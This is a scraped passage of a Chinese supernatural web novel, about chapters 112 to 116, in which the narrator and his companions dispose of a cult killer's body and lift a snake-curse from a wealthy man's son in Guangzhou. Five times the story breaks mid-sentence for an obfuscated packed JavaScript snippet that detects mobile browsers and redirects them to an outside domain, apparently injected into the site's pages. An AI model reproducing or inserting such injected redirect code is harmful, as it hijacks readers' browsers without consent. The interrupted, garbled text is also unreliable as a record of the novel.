小腹下一股气旋升起来,凝聚成无形的屏障,不偏不倚挡在了胸口。 刀刃刚接触胸口,就被一股看不见的力量弹开了。 我大口呼吸,难以置信地跌坐在地上,看着胸口那道浅红色的血痕,心悸到浑身发抖。 这就是江湖人的手段? 不等我完全缓过神,T恤男已经迅速来到矮冬瓜面前,怒吼一声,“看走眼了,我不该给你说话的机会!” 他一拳砸在矮冬瓜太阳穴上,后者哼都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744004|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没哼一声,顿时头颅破碎,无声倒地。 T恤男擦掉手上的血污,回头扫了眼我的胸口,暗暗庆幸,“抱歉,是我太大意了。” 这种事怎么能怪他? 我苦涩一笑,摇头爬起来,捂着狂跳的心脏,仍旧处在和死神共舞的心悸中。 太危险了,这些江湖邪修的手段简直让人防不胜防。 这件事告诉了我一个道理,对待敌人必须狠! 反派死于话多的道理我算是彻底明白了,虽然我不是反派,但同样有可能会死。 潜意识中落花洞女再次传来一声讥笑,“又欠我一条命,这个月必须上供两次。” 我已经没心思跟她争了,救命之恩,就算她榨得我精尽人亡也认了。 T恤男已经知道我身上有个不得了的东西,并没有多嘴问它哪儿来的,直接蹲下去,撕开了矮冬瓜的上衣。 在尸体的胸口左侧,纹着一道十分诡异的鬼头纹身,呈青面獠牙的骷髅形态。 T恤男对着纹身看了好一会儿,眉头越皱越紧,“原来是鬼面会的人,怪不得……” 我吃惊地的爬起来,“鬼面会又是什么?” “一个邪修组织,他们的势力很庞大,基本上三教九流什么派别的人都有。” T恤男深吸一口气,回头看着我,说鬼面会的全称叫鬼面袍哥会,原本是由川渝一带的民间散修组成的。 可在上个世纪末,这个组织被发展成了邪教,专门吸纳各种邪修人才。 而分辨他们的方式也很简单,每一个鬼面炮哥会的成员,身上都会刻下这种骷髅图案。 我心有余悸道,“这个组织的人很厉害吧?” “不止是厉害而已。” T恤男点了点头,说凡是得罪他们的人基本都不会有好下场,尸体必须尽快处理,免得被人发现蛛丝马迹,查出是我们干的。 说完他取出食尸蛊,用同样的方式处理了矮冬瓜尸体。 很快老蝙蝠也回来了,心满意足地抹着嘴角说,“真痛快,事情总算告一段落,咱走吧,我想回去补个觉。” 它一直处于“吃撑”的状态,刚才又吸了孙杨的血,挺个大肚子跟孕妇似的。 我们马上动身,换了条路返回市区。 第112章 跨省业务 这次行动整体的还算顺利,不仅查清了对付我的人,连杀手也被料理。 只是T恤男的脸色却一直都很严肃,我问他在担心什么。 T恤男告诉我,“鬼面会的势力不小,而且能人异士很多,虽然我们这一票干的十分隐秘,却不一定能瞒得过他们的眼线。” 那个矮冬瓜在鬼面会里的地位应该不低,现在他不明不白消失了,鬼面会多半会派人来调查。 到时候有可能会查到我们。 我说,“应该不至于吧,尸体不都让你处理干净了吗?” T恤男把浓眉皱起来说,“那种手段只能糊弄普通人,对于真正的修行高手没用。” 肉身没了,人家还可以把魂魄的找回来,一问就什么都清楚了。 他的话让我隐隐不安,可转念一想,管他呢? 虱子多了不痒、债多了不愁,打我出道的第一天就沾了一屁股屎,根本没必要杞人忧天。 T恤男也受到我的情绪感染,难得笑笑说,“你说的没错,总之兵来将挡,咱们确实没必要怕。” 对他表示了感谢,这次的事情要不是T恤男主动帮忙,光靠我自己恐怕做不到这些。 他摆了摆手说,表示大家已经这么熟了,没必要说谢谢。 缘分这个东西,当真是妙不可言。 从我看见T恤男的第一眼,就觉得这家伙很亲近。 或许他看我的感觉也是一样,否则也不至于帮我这么多次了。 天亮后我们到了医院附近,T恤男不想去医院,就在门口跟我道别,“你的麻烦暂时搞定了,我得离开一阵子,回头有事再联系吧。” 我特别纳闷,每次T恤男都在我需要的时候出现,等到事情搞定之后便会马上离开,也不知道究竟要去什么地方。 他依旧守口如瓶,“我有很多自己的事情要去办,有些事,不太方便对你透露。” 他转身就走,一如既往的神秘。 我知道这家伙的性格,对于他不肯说的事,无论我怎么问都是白搭,只好听之任之了。 很快我看到了明叔和王刚,迫不及待追问吴娅的情况。 明叔笑嘻嘻说,“我亲自出手还能当然没问题,她身上的毒伤已经解了,再休息个十天半月就能恢复正常。” 我松口气,有了明叔的保证我就放心了。 王刚多嘴问了我一句,说吴娅已经醒了,作为朋友,你就不去病房看一看? 我摇头道,“没这个必要,见了面我也不知道该说什么。” 她受伤是因为被我连累,在这件事上,我一直感觉亏欠吴娅。 所幸仇已经帮她报了,搞定孙杨这个祸害之后,我也不用再担心会有人缠着吴娅。 做到这一步,我和吴娅算是彻底缘尽,就算她再找我,我也不会跟她见面。 王刚嘟囔了一句可惜,要是我和吴娅能有进一步发展,将来肯定能继承吴家的产业,起码少奋斗二十年。 我无语地摇头,这死胖子跟明叔学会不少东西,好像也染上了不少奸商性格。 回头必须说说他,做人不能总是向钱看。 回了出租屋,我把窗帘都拉上,给神龛点上香烛。 老蝙蝠马上从槐木牌里面钻出来,揉了揉肚子说,“可算是回家了。” 我看向它圆鼓鼓的肚皮,翻白眼说,“你吸这么多血,也不怕撑破肚皮不消化。” 它狗腿般笑道,“消化不了的可以留在肚子里慢慢吸收,喝人血的机会比较难得,我可不能错过。” 我一阵恶寒,实在不理解老蝙蝠怎么会有喝血的毛病。 这玩意又臭又腥,尤其是人血,也太恶心了。 老蝙蝠说,“人是万物之长,大部分精气都储存在血液里面。” 妖物一旦吸收了人血,可以加快修炼。 其次蝙蝠本来就有吸血的天性,喜欢人血也不稀奇。 话虽然是这么说,可身为人类,我不会让老蝙蝠残害同胞,于是再三警告, “孙杨的事可以当成是个特例,下次除非得到我的认可,否则你绝对不能碰我的同类。” “放心啦,我知道。”老蝙蝠揉了揉肚子,连打好几个饱嗝,心安理得钻进神龛下吸香去了。 我也累够呛,实在没心情理它,钻进被窝妹妹睡了一觉。 第二天我接到一个电话,是吴娅打来的。 本来我不想接,可手机屏幕一直在闪,没辙我只能耐着性子按下了接听键。 电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744005|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接通后,我不知道该说什么,沉默了两秒,问她身体好些没有? 吴娅说好很多了,谢谢关心。 然后又是一阵让人尴尬的沉默。 过了几秒,她问我为什么不去病房探望自己。 我说,“你受伤都是因为我,我不想在连累你,所以没必要再见面,以后你也别再来找我了。” 说完这段话,我毫不犹豫地挂断手机,对着天花板发愣。 人心都是肉长的,跟吴娅认识这段时间,她总在我耳边叽叽喳喳。 我表面心烦,其实内心深处还是对她产生了一定的好感。 要换成是以前,哥们早就去了。 可现在嘛…… “唉,问世间情为何物,直教人脱衣解裤。”老蝙蝠感应到我的情绪,贱兮兮地趴在神龛上面吟诗。 我气得给了它几个暴栗,威胁你再敢胡说八道,老子就把你拎到太阳下面暴晒。 它一秒认怂,没脸没皮的样子让我想笑。 这夯货,简直是妖界的奇葩和耻辱。 下午明叔给我来了个电话,问我有空没,有空的话就赶紧回一趟古香斋,又来活了。 一听到有活干,我马上来了精神。 尽管摆烂的生活很爽,可活在这个躺不平也卷不赢的社会,吃喝拉撒总得花钱。 我欠了一腚的债还等着还,当然得上心点。 到了地方,我只看见明叔和王刚,却没看见客户在哪儿。 明叔让我坐下,这才说,“这次的业务是一个老客户替我介绍的,病人不在贵阳,目前在广州。” 我皱眉,“怎么搞个业务还要跨省?既然客户有事要求我们,干嘛不主动来店里?” 明叔摇头晃脑,说客户不是不想来,是来不了, “他病得很严重,已经卧床超过一个月,只能麻烦你跑一趟,陪我去广州了。” 明叔边说边笑,表示这次的客户同样很有钱,事成后肯定少不了我的好处费。 我说你少来,回回都这么说,哪次不坑我? 比起明叔承诺的好处,我更好奇的还是客户到底遇上了什么麻烦。 明叔则怪笑两声,说了句让我瞠目结舌的话,“男人生孩子,你见过吗?” 第113章 阴法波动 我去…… 我承认是自己孤陋寡闻了,这个世界可真奇葩。 男人怎么生孩子?难不成是运动的时候躺在了下面?这也不对呀,男人身上根本不长这个器官。 明叔坏笑说,“具体情况我也不清楚,必须见了面才能知道,你赶紧收拾东西吧,我替你订了明天的机票。” 老小子订票之前也不先问问我意见,这么奇葩的业务让我怎么搞? 明叔的话就是圣旨,谁让我欠他钱呢?只好抓紧时间回去收行李。 老蝙蝠见我要出远门,眼珠立马变得贼兮兮的,讨好说,“老大,成天待在家里憋得慌,你也带我出门透个风吧。” 我想了想,说没问题,反正这次的业务比较奇葩,带上老蝙蝠去见识一下也好。 说不定它能帮我出出主意。 于是我把神龛也装进了行李箱。 可到了第二天过安检的时候,机场工作人员却说我行李箱太大了,不能带进机舱,我只好给它办了托运。 机场托运费贵死了,光这一趟就花我两百多。 好在机票钱是明叔负责报销,长这么大我还是第一次坐飞机,路上颠来颠去,感觉跟坐过山车没太多分别。 明叔被颠得想吐,刚下飞机就扶着垃圾桶骂娘,“老子最烦坐这个铁盒子,要不是看在毛爷爷面上,才不遭这个罪!” 我笑了笑,提醒他跟我去拿行李,别把老蝙蝠给落下来。 取回行李之后,我找了个没人的地方把老蝙蝠放出来。 没想到老蝙蝠也跟明叔一样蹦起来骂娘,“次奥,这日子简直不是人过的,以后谁给我办托运我跟谁急!” 我说你是不是脑子秀逗了,蝙蝠也会晕机? 它骂骂咧咧说自己倒是不晕机,就是旁边有一只同样办了托运的泰迪。 老蝙蝠嫌行李箱太闷,刚要钻出来透口气,泰迪就耸着屁股扑过来…… 我差点没笑死,骂了句活该。 到了酒店,明叔马上和客户家人取得联系。 大概是下午三点多,有个西装革履的人跑来酒店房间敲门。 明叔替我做了介绍,说对方是顾老板,这笔生意就是顾老板介绍的。 进了房间后,顾老板马上说,“明叔,出事的人是我一个生意合作伙伴的儿子,叫黄天浩,上个月刚从国外旅游回来,刚回家没几天就开始不舒服了。” 明叔让顾老板说清楚点,到底怎么个不舒服? 顾老板想想说,“一开始倒是没什么,只是发烧,做噩梦,莫名其妙地晕厥,查不出什么毛病。” 一个星期后人就开始呕吐,喜欢吃生的食物,而且肚子也慢慢打起来。 黄天浩的家人吓坏了,还以为儿子长了肿瘤,可没听说过长肿瘤会导致食性发生改变的,赶紧找了家大医院做检查。 这一查却让我哭笑不得,医生说黄天浩肚子里有个“孕囊”,明显能看到胎动的迹象。 可黄天浩是个男的啊,才二十岁出头,虽然平时有点娘娘腔,但怎么也不至于娘到怀孕的地步。 明叔问,“那医院是怎么处理的?” “开刀呗,他们决定把肚子里的肿包取出来看看。” 顾老板叹了口气,说手术过程倒是很顺利,但打开那个肿块之后发现是空的,既不像肿瘤,也不像普通的肉块,医生也解释不清楚那究竟是个什么东西。 明叔摸了下鼻子,说既然肿块都被开刀取出来了,还找我们干嘛? 顾老板无奈地摇头,“问题就在这里,刚取出肿块不到三天,他肚子里又长了另一个肿块,还和之前一样会有胎动迹象,好像是活的。” 这下黄家人不知道该怎么办了,儿子刚开完刀,总不能再接受一次手术吧。 就算他身体受得了,可那种肿包像是可以无限增殖,每次开刀取出一个,马上就长出另一个。 明叔听完直接纳了闷,我也是一脸新奇,这么诡异的症状确实是闻所未闻。 顾老板揉了揉太阳穴,“是啊,他家人实在没辙了,只好到处打听民间偏方。” 碰巧顾老板认识明叔,怀疑黄天浩的情况有可能是撞了邪,这才想到邀请我们过来。 明叔说,“你和这个黄天浩很熟吗?” 顾老板点头,“我跟他父母有很多生意往来,他家出了事,也会对我的生意造成影响,这件事有劳你多费心了。” “好,看在你的面上,我会尽力的。” 明叔答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744006|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很痛快,但光凭顾老板的道听途说,我们无法确定黄天浩的情况。 明叔提出要去医院亲眼看一下病人,顾老板表示会马上安排。 他前脚一走,我就跟明叔商量起来。 这么古怪的病症我不仅没见过,甚至都没听说过。 明叔虽然从业多年,同样没接触过这种情况。 我们凑在一起商量半天也没个结果,只好决定去了医院再说。 顾老板很快就安排好了,当天晚上,我和明叔就在他带领下去了医院。 有钱人住的病房就是高级,跟招待所似的,是个单独的隔间,走廊不仅没有消毒水味,还喷洒了不少香水。 到了顶楼的高级住院部,我在走廊看见一对中年夫妻,都是四十来岁的人,男的儒雅大气,女的外貌很端庄,留着一头短发,一看就是那种精明能干的女强人。 顾老板马上为我们做了介绍,黄家两口子估计是看我年轻,表情有点失望。 明叔不在意这些,上来就问病人在哪儿,要现场看一眼。 男人没说话,反倒是女人提出了质疑,“我儿子的病很奇怪,你们真的能治?” 明叔说病人还没看过,自己哪知道能不能治。 顾老板赶紧插嘴说,“黄姐,我找的人一定没问题,你儿子都这样了,不能讳疾忌医。” 经过顾老板的劝说,黄姐才点头答应了。 至于她老公,全程都一言不发,跟个木头似的。 这一家属于典型的女强男弱,儿子也跟母姓,我猜那个男的可能是倒插门女婿。 顾老板证实了我的看法,很小声地说,“黄家生意都是黄姐在经营,她老公很少插手公司的业务。” 我听完就懂了,不过这是人家的家事,我和明叔全当是听了一场八卦。 进了病房,顾老板替我把门推开。 我只看了一眼,当时就吓一跳。 哇靠,好浓的阴法痕迹。 这些日子我一直在勤学苦练,能力稳步提升,就算不用眼睛也能感应到很多东西。 当病房大门被推开那一瞬间,我立刻感到一股浓郁的阴法气流。 这种气息不属于阴气,更像是催动邪术留下的煞气。 第114章 邪降头 我眯着眼睛看向病床,上面躺着一个二十岁出头的年轻人。 皮肤白皙、五官很精致,虽然是个男的,却给人一种女性化的感觉。 果然是个娘娘腔。 我暗暗腹诽,明叔则走到床前做检查。 黄天浩正处在昏睡状态,对我们的带来充耳不闻。 他虽然长得秀美,可额头却浮现蜡黄,脸上全都病态的灰白色,没有一丝生气,嘴唇干,发白,有好多裂痕。 明叔皱眉查看了好一会儿,回头问,“病人昏睡多久了?” 顾老板不太确定,又可能十来天,可能两个星期吧。 黄姐倒是记得很清楚,“我儿子昏睡了十三天,自从他回国后精神状态就一直不好,经常发烧呕吐,但一开始意识还算清醒,也能跟我正常交流。” 直到十三天前,他肚子忽然鼓起来,胀得很难受。 接着就陷入了昏厥,每天清醒的时候很少。 持续到今天已经有两个星期了。 我已经猜到了什么,直接走到病床前面,轻轻掀开了黄天浩的被套。 里面是一具干枯的身体,病人长得很瘦,说是皮包骨也不过分。 脖子和手臂上的青筋高高鼓起来,身高一米七五,体重可能还不到一百斤。 但小腹那里却鼓得很厉害,明显能感到微弱的“胎动”。 当我把手覆盖上去的时候,并没有感应到人体的冰凉,有的只是一片阴冷。 我对黄姐说,“你儿子平时靠吃什么活下来?” “他已经十多天没进食了,之前偶尔会吃东西,但接受不了正常的食物,吃下去就会吐。” 黄姐满脸愁容地回忆,忽然想到什么,“后来我才发现,只有一种食物不会导致他呕吐。” 那就是生肉,而且必须是一整块地生吞。 其次她儿子最喜欢生鸡蛋,一次能吃五六个。 我和明叔对视了一眼,很快我就联想到自己第一次和老蝙蝠见面的时候。 当时那个小女孩也是因为受到了它的妖气影响,导致食性大变。 症状很类似,只是黄天浩的病情比那个小女孩严重了十倍。 我把按在他肚子上的手缩回来,凑到明叔耳边说了些什么。 明叔连连点头,对黄姐说,“你儿子该不会是得罪过什么人吧?” 黄姐马上摇头,说不会,“我儿子可乖了,还是个大学生,怎么可能得罪人。” 当父母的都这么说,可她儿子要是没有得罪过谁,又怎么会被人下咒? 黄姐很意外,惊讶地张大嘴,“你说什么,我儿子是被人下咒了?” “很显然就是。” 明叔没有隐瞒,皱眉说,“而且这个下咒的人估计不在国内,对了,你儿子是出国旅游回来之后才变得不正常的,他究竟去了哪些国家旅游?” 这年头有钱人都喜欢出国旅游,尤其是这种二十岁出头的大学生,特别热衷于出国,搞不好就在什么地方触犯了当地的忌讳。 黄姐回忆了一会儿,说儿子这次去过好几个国家,有英国、法国,还有马来西亚。 明叔马上说,“那就对上了,他应该是被人下了降头。” 什么? 听到这些话,不仅是黄姐和顾老板感到吃惊,连我也面露惊愕。 经常听人说在东南亚流行一种十分歹毒邪门的咒术,叫降头术,可现实中却很少看见。 明叔继续说,“你儿子这种情况,多半就是在马来西亚惹到了什么人,被人下了降头咒。” 至于具体是什么降头,明叔也看不出个所以然,但多半和蛇类有关。 简单来说,有人用怀孕的母蛇作为媒介,在黄天浩身上落了降。 母蛇在他肚子里面产卵,不断吸收黄天浩身上的营养,才导致他变得枯瘦如柴,神志恍惚甚至失去意识。 至于他肚子里面的肿包,并不是真正的肿瘤,而是母蛇产卵的一种表现形式。 黄姐很惊恐,问我们能不能治。 明叔没说行,也没说不行,让他们全都离开病房把门关上。 黄姐不肯走,摇头说,“我儿子病这么重,我怎么能离开这里。” 明叔说,“接下来我们要替你儿子诊治,这行有些东西见不得光。” 顾老板赶紧对黄姐说,“要不还是先离开吧,明叔都这么说了,肯定有自己的办法。” 看得出黄姐好像很听顾老板的话,终于点头,在他的搀扶下离开。 我看着顾老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744007|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板和黄姐靠在一起,双双走出病房,心里不由自主感觉好笑。 再看看黄姐老公那副木讷拘束的样子,我忍不住小声说,“这家人的绿化工作干得很好啊。” 怪不得顾老板愿意自己掏钱,请我们过来给黄天浩治病呢。 我甚至都怀疑,这个中了降头的大男孩,有可能是黄姐和顾老板生的。 “多嘴,客户的私生活轮不到我们管。” 明叔看我一眼,说自己只在乎有没有钱赚,至于客户跟什么人乱搞,那是人家的事。 干这行必须找清楚自己的定位,不该问不能问。 我讪笑两声,问明叔准备怎么解决。 他两手一摊,“我又不懂怎么化解降头,刚才打发他们离开,只是为了给你一个表现机会。” 靠,说半天还得我上。 我同样不懂怎么化解降头,没辙只好敲了敲槐木牌。 听到我的召唤,老蝙蝠马上一股风似的出现,叉腰怪笑道,“老大,什么吩咐?” 我指了指床上的病人,问老蝙蝠能不能治好他。 老蝙蝠一直在偷听我们谈话,早就了解到事情的全部过程。 可丫的这次却没有急着表现,而是挥着小爪子跟我讨价还价,“事成之后,我要两只老母鸡。” 我气笑了,“你丫平时吃的鸡还少了,敢在这种时候跟我提要求,是不是找抽?” 老蝙蝠捂着脑门到处飘,“这个人身上的蛇灵戾气很重,搞定它需要消耗不少元气,起码两只老母鸡才能补回来。” 我都无语了,不耐烦说,“行,两只鸡就两只吧,你赶紧的!” 得到我的承诺,老蝙蝠才磨着小爪子行动起来,身体化作一道灰烟,顺着黄天浩的鼻孔钻进去。 没一会儿黄天浩就开始抽冷子,身体好像触电一样胡乱抖动。 在他身上飘起一股很浓郁的邪寒气息,正在不停地钻来钻去。 见病人抖得这么厉害,我和明叔赶紧一左一右按住他肩膀。 就算是这样,黄天浩的身体依旧在发抖,一会儿弓成虾米,一会儿把身体“盘”起来,各种扭曲挣扎。 我终于明白明叔为什么坚持让黄姐出去了,要是被她看到儿子这样,不知道多着急。 第115章 别多事 两股气息不断在黄天浩身上斗法,居然产生了无形的气流对撞声。 我捂着他胳膊,感觉一会儿冰寒,一会儿正常,心里很不淡定。 黄天浩的身体本来就差,我担心他扛不住这种折腾,会当场暴毙。 明叔也没想到事情这么麻烦,擦冷汗喃喃自语,“希望蝠前辈能快点解决吧,否则咱们不仅拿不到钱,很可能还要被黄家追责。” 我很无语,还以为老小子是关心黄天浩的安危呢。 说来说去还是担心拿不到钱。 好在老蝙蝠比较给力,在持续了两分钟后,那股灰气重新顺着黄天浩鼻孔钻出来。 接着慢慢化形,凝聚出老蝙蝠的本相。 我定睛一看,丫嘴里正吊着一条大青蛇,好像吃面条一样使劲嘬。 嘴里还发出恶心的滋溜声。 我鸡皮疙瘩都起来了,“你丫真恶心!” 老蝙蝠深吸一口气,直接把辣条塞进嘴巴,囫囵下咽,“靠,吃个东西你都嫌弃我,哪有这样的老大?” 它还不服气了。 其实吧,老蝙蝠吃东西我没意见。 就是这丫吃相太恶心了,要么搞得血淋淋,要么脏兮兮的,特别不雅。 老蝙蝠擦了擦嘴巴,说爷本来就是禽兽好不好,哪像人类这么虚弱,可以用手抓的东西偏要用筷子。 它用力大饱嗝,腆着大肚子说, “算了,爷刚吃饱,还赶着回去睡觉消化呢,剩下的事交给你们处理。” 说完就一脸嘚瑟地化成一道灰气,再次钻进槐木牌不见了。 感觉这孙子最近脾气见长,都敢在我面前自称大爷了。 我很想把它揪出来揍一顿,明叔拦下我说,“算了,搞定这么凶的蛇灵,蝠前辈应该消耗了不少元神,让它装一下也没什么。” 其实我只是嘴上骂的凶,对老蝙蝠还是挺关心的。 自从它跟了我,确实没少出力。 当身上的蛇灵消失后,黄天浩的气色也变回了正常。 明叔替他号了脉,回头说,“降头需要降引才能发作,现在降引被蝠前辈炼化,这小子身上的降头也会自然痊愈。” 不过他被这种邪降折磨了很久,刚才又经历老蝙蝠的一场折腾,身体比原来更差。 明叔给他扎了针,让我把黄姐和顾老板叫进来。 黄姐马上扑到儿子身上,看着他渐渐瘪下去的肚子,很激动地说,“这么肿块不见了?” 明叔马上装啵伊道,“都说了那不是肿块,是母蛇产子的具象化体现,降头一解,肿块自然会消失。” 他让顾老板找来纸和笔,开了一张药方,让黄姐按方抓药,赶紧煎服。 服下汤药后,黄天浩开始大口呕吐,除了鲜血浓痰和一些生肉的残渣外,还有很多黑色血块。 一股恶臭布满了整个病房,熏得我们鼻子都快失灵。 明叔找来一个盆子,把这些呕吐物搜集起来,让护工找个地方,浇上汽油烧掉。 做完这一切,黄天浩终于恢复意识,慢慢苏醒过来。 他两眼无神,精神状态很差,似乎都不明白自己到底经历了什么。 黄姐趴在儿子身上痛哭失声,一边抹眼泪,一边告诉他昏迷之后的事。 这时候我却注意到,黄天浩的老爸依旧站在墙角,看起来很木讷呆板,并没有上去询问儿子的情况。 这个反常的细节引起了我的怀疑。 等黄天浩的意识彻底恢复,我和明叔才走过去,询问他出国旅游发生的事。 黄天浩很疲惫地说,“我什么都记不清了,好像路上没有跟人发生过争执。” 明叔让他好好想想,如果没得罪过人,不可能被人下这么邪门的降头咒。 黄天浩闭上眼睛,苦思很久,还是什么都想不起来,敲着脑门说头疼。 顾老板忙说,“孩子刚醒,还是多给他一点时间恢复吧,也许多休息几天就能想起来了。” 感觉顾老板对黄天浩的关心程度,远远要超过黄姐的老公。 他先把我们请到外面,一脸真诚地表示感谢,当场给明叔转了尾款。 明叔拿到钱后马上说,“这小子身上的降头已经解了,但身体太差,搞不好还要大病一场。” 顾老板赶紧问,“有办法能让他早点好起来吗?” 明叔点头,“我可以留下来帮他调理几天身体,不敢保证痊愈,起码会比现在好,不过医药费方面……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744008|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “钱不是问题,都认识这么久了,我哪次差过你钱!” 顾老板二话没说,又给明叔转了一笔治疗费。 我目睹这一切,似笑非笑道,“顾老板对朋友可真够意思,不仅出工又出力,还对黄姐照顾得这么体贴入微,简直比当丈夫的还要称职。” 顾老板一脸心虚,扭头朝病房看了一眼,确认没人听到这些话,才苦着脸说, “小林,看破不说破,对大家都有好处。” 有钱人的生活可真乱,算了,反正我也不喜欢听八卦。 晚上顾老板在酒店定了位置,邀请我和明叔吃大餐,各种山珍海味摆满了一桌,给我这顿胡吃海塞,把肚子撑得比老蝙蝠还要大。 回去的路上明叔抱怨我给他丢脸,“我说你怎么跟个饿死鬼投胎似的,用得着吃这么多吗?” 我打着饱嗝说,“长这么大我都没吃过五斤重的龙虾,这一顿起码顶两天。” 明叔无语得翻白眼,“你好好跟我干,以后有的是发财机会,等有了钱天天鲍鱼龙虾,保证让你吃腻。” 拉倒吧,我不了解龙虾有多贵,还能不了解明叔是什么尿性? 老小子是个典型的大奸商,前期对我好,投入这么多,目地就是为了把我留在身边替自己赚钱。 赚再多钱他也不舍得分我大头。 我们并没有急着回去,黄天浩的身体过于虚弱,明叔拿了钱,必须留在广州替他调理身体。 我也乐得清闲,成天在酒店待着没事做,经常抽空出去逛街,就当是公费旅游了。 老蝙蝠却提出抗议,隔三差五朝着要回去,说大城市没有鸡。 我指着红灯区下的那几个穿着暴露的女人,“谁说没有?不过大城市的鸡比较贵,听话,咱不惹这个骚,等回去之后我再好好补偿你。” 就这样待了一个星期,黄天浩的身体总算有了康复迹象。 但有个事很奇怪,哪怕他意识完全清醒,恢复到能独自下床走路的地步,仍旧对中降期间的事毫无印象。 我怀疑他可能被人下了另一种咒,才导致失去部分记忆,本想找机会给他做更细致的检查。 明叔却神秘一笑,“再管下去就该惹麻烦了,别多事。” 第116章 压箱底的蓝符 明叔刚把话说完,我也就猜到这件事肯定有名堂。 可不等我问他到底几个意思,明叔就再次摇头,怪笑说,“你听我的,这是不算完,用不了多久,可能顾老板还得再来找咱们。” 老小子什么都知道,但他故意卖关子不肯说,我只能放弃追问。 隔天返回贵阳的路上,我对明叔说,“既然你都看出苗头不对了,为什么不提醒顾老板?” 明叔两手一摊,首先是没有直接证据,只是凭空猜测,说了不一定有用。 其次他是生意人,只负责处理客户交代的事,至于治病以外的事,明叔没必要说。 我很无语,感觉明叔是故意的,看出问题却不说,摆明了是想攒一坨大的,好争取更大的利润。 这死奸商,简直了! 回到贵阳,王刚早等得不耐烦了。 这些日子我一直陪明叔在外地“出差”,连老蝙蝠都能跟着一起享受,偏偏把王刚一个人留在古香斋看店。 他老大不情愿,“你们可真做得出来,自己在外面好吃好喝,把所有脏活累活都丢给我。” 明叔翻白眼骂道,“想学本事又怕出力,哪有你这样的学徒!” 王刚私底下挺怕明叔的,毕竟要靠他调理身体,教会自己那本书上的黎巫法门。 见明叔不高兴,王刚就讪笑不吭声了。 老蝙蝠则迫不及待钻出来,深吸一口气说,“总算回了熟悉的地方,老大你承诺给我的鸡呢?” 我很不高兴,“你催什么催,答应的事又不是不替你办。” 刚下飞机我很累,实在没心情给老蝙蝠准备吃的,就拜托王刚出去买。 王刚答应了,却忽然想到一件事,“对了林峰,你出去这几天,有个家伙来找过你。” 我纳闷道,“谁呀?” “不认识,长得高高瘦瘦的,皮肤很白,明明是个老爷们,却扎了一头小辫,看起来挺神秘的。”王刚这样说。 我则是愣了一下,仔细回想,自己好像并不认识这么个人。 明叔说,“这人有留下联系方式吗?” 王刚回忆了下,摇头说没有,“这个人只来过一次,当时天已经黑了。” 他正准备关门闭店,冷不丁就看见门口飘过一道瘦长的身影。 王刚吓一跳,还以为见鬼了呢,等靠近一些才发现那是人不是鬼。 王刚对这人说,“不好意思客人,我们这儿打烊了,你有什么紧急的事吗?” 对方却笑笑不说话,在店里环顾了一圈,忽然对王刚说,“我来这家店找一个叫林峰的人,他怎么不在?” 王刚以为对方和我认识,就解释说我去外地办事了,要过几天才回来。 这家伙哦了一声,好像很遗憾的样子,却没有说具体要找我干嘛,只在王刚肩上笑眯眯地拍打了一下,转身就走了。 临走时他留了一句很奇怪的话,该来的总会来,躲的了初一,躲不了十五。 听完王刚的话,我和明叔都冷不丁怔了下。 王刚说,“林峰,你不会在外面借高利贷了吧?” “借个锤子。”我没好气瞥了他一眼,话刚说完,眼珠却眯起来。 明叔也看出不对劲,忙叫住王刚,“胖子,你先站那儿别动。” “咋啦?” 王刚满脸问号,不解地看我们。 明叔二话没说,直接上手脱他外套。 